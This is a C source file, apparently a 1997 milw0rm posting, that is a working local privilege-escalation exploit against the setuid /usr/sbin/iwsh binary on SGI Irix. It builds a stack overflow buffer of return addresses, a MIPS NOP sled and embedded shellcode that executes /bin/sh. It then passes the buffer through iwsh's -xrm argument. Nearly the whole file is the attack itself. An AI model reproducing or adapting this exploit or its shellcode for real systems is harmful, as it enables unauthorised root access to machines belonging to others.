117 lines
No EOL
3.2 KiB
C
117 lines
No EOL
3.2 KiB
C
/* /usr/sbin/iwsh.c exploit by DCRH 27/5/97
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*
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* Tested on: R3000 Indigo (Irix 5.3)
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* R4400 Indy (Irix 5.3)
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*
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* Irix 5.x only
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*
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* compile as: cc iwsh.c
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*/
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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#include <sys/types.h>
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#include <unistd.h>
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#define NUM_ADDRESSES 500
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#define BUF_LENGTH 500
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#define EXTRA 9000
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#define OFFSET 0x180
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#define GP_OFFSET -0x80
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#define IRIX_NOP 0x03e0f825 /* move $ra,$ra */
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#define u_long unsigned
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u_long get_sp_code[] = {
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0x03a01025, /* move $v0,$sp */
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0x03e00008, /* jr $ra */
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0x00000000, /* nop */
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};
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u_long irix_shellcode[] = {
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0x24041234, /* li $4,0x1234 */
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0x2084edcc, /* sub $4,0x1234 */
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0x0491fffe, /* bgezal $4,pc-4 */
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0x03bd302a, /* sgt $6,$sp,$sp */
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0x03bd202a, /* sgt $4,$sp,$sp */
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0x240203ff, /* li $v0,1023 */
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0x03ffffcc, /* syscall 0xfffff */
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0x23e40138, /* addi $4,$31,264+48 */
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0xa086feff, /* sb $6,-264+7($4) */
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0x2084fef8, /* sub $4,264 */
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0x20850110, /* addi $5,$4,264+8 */
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0xaca4fef8, /* sw $4,-264($5) */
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0xaca6fefc, /* sw $4,-260($5) */
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0x20a5fef8, /* sub $5, 264 */
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0x240203f3, /* li $v0,1011 */
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0x03ffffcc, /* syscall 0xfffff */
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0x2f62696e, /* "/bin" */
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0x2f7368ff, /* "/sh" */
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};
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char buf[NUM_ADDRESSES+BUF_LENGTH + EXTRA + 8];
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void main(int argc, char **argv)
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{
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char *env[] = {NULL};
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u_long targ_addr, stack, tmp;
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u_long *long_p;
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int i, code_length = strlen((char *)irix_shellcode)+1;
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u_long (*get_sp)(void) = (u_long (*)(void))get_sp_code;
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stack = get_sp();
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if (stack & 0x80000000) {
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printf("Recompile with the '-32' option\n");
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exit(1);
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}
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long_p =(u_long *) buf;
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targ_addr = stack + OFFSET;
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if (argc > 1)
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targ_addr += atoi(argv[1]) * 4;
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if (targ_addr + GP_OFFSET > 0x80000000) {
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printf("Sorry - this exploit for Irix 6.x only\n");
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exit(1);
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}
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tmp = (targ_addr + NUM_ADDRESSES + (BUF_LENGTH-code_length)/2) & ~3;
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while ((tmp & 0xff000000) == 0 ||
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(tmp & 0x00ff0000) == 0 ||
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(tmp & 0x0000ff00) == 0 ||
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(tmp & 0x000000ff) == 0)
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tmp += 4;
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for (i = 0; i < NUM_ADDRESSES/(4*sizeof(u_long)); i++) {
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*long_p++ = targ_addr;
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*long_p++ = targ_addr;
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*long_p++ = tmp;
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*long_p++ = tmp;
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}
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for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
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*long_p++ = IRIX_NOP;
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for (i = 0; i < code_length/sizeof(u_long); i++)
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*long_p++ = irix_shellcode[i];
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tmp = (targ_addr + GP_OFFSET + NUM_ADDRESSES/2) & ~3;
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for (i = 0; i < EXTRA / sizeof(u_long); i++)
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*long_p++ = (tmp >> 8) | (tmp << 24);
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*long_p = 0;
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printf("stack = 0x%x, targ_addr = 0x%x\n", stack, targ_addr);
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execle("/usr/sbin/iwsh", "iwsh", "-xrm", &buf[2], 0, env);
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perror("execl failed");
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}
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// milw0rm.com [1997-05-27]
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